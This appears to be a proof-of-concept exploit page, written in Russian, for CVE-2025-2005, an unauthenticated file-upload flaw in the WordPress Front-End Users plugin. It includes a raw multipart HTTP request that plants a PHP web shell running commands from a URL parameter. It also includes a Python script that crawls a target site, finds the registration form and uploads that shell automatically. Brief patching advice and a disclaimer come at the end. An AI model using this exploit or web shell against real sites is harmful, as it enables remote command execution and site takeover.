
Эксплойт доказательства концепции для CVE-2025-2005, уязвимости произвольной загрузки файлов в плагине WordPress Front-End Users (<=3.2.32). Включает скрипты для ручной HTTP-атаки и эксплойт на Python для загрузки PHP веб-шеллов на неаутентифицированные регистрационные формы.
Автор: h4ckxel
Эта эксплойт использует недостаточную проверку загрузки файлов в формах регистрации плагина. Отсутствуют фильтры расширений, проверка аутентификации и санация типов файлов. Злоумышленник может отправить multipart/form-data запрос на любую форму регистрации и вставить вредоносный .php файл в пользовательское поле (например, xxploit).
Хотя загруженные файлы попадают в wp-content/uploads/ewd_feup_uploads/ со случайным хешем в имени, они остаются исполняемыми, если PHP включен в этом каталоге.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--
Файл сохраняется в:
/wp-content/uploads/ewd_feup_uploads/[СЛУЧАЙНЫЙ_ХЕШ].php
Имя меняется, но его можно найти вручную или с помощью сканера.
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print(f"[*] Scaneando: {base_url}")
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Error al acceder al sitio.")
exit()
page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} páginas encontradas...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text:
registration_url = link
print(f"[+] Form de registro encontrado en: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] No se encontró el form automáticamente. Intenta manualmente con --url.")
exit()
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
'ewd-feup-action': 'register',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}
print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
if upload_response.status_code == 200:
print("[+] Upload completado.")
else:
print("[-] Falló la subida.")
Обновите плагин до последней безопасной версии (если она существует) или временно отключите его, если патча нет. Кроме того:
wp-content/uploads/.Этот PoC предназначен только для образовательных целей и авторизованных тестов безопасности. Не будьте ламером, используйте это ответственно и только в средах, где у вас есть разрешение.